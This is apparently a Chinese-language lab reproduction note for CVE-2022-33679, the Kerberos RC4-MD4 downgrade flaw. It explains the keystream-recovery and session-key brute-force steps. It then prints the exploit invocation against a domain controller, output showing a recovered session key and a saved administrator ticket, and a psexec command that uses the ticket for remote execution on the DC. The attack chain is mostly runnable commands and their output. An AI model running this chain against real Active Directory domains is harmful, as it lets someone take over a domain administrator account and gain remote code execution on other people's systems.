复现过程
没有原理
https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
- \1. 攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。
- \2. 根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。
- \3. 根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。
- \4. 使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。
- \5. 在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。
如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。
设置域管账号
不要求 Kerberos 预身份验证
域控机器名
DC
1
2
3
4
5
6
7
8
9
10
python CVE-2022-33679.py -debug -dc-ip 域控IP s.com/administrator dc
......
[+] Server time (UTC): 2023-10-07 01:14:25
[+] Trying to connect to KDC at 10.10.10.146
[*] Byte 4: 89
[*] Recovered Session key: 467b61afa0ababababababababababab
[+] Trying to connect to KDC at 10.10.10.146
[*] Got TGS for dc
[*] Saving ticket in administrator_dc.ccache
1
export KRB5CCNAME=administrator_dc.ccache
1
psexec.py -k -no-pass -dc-ip 域控IP -target-ip 域控IP dc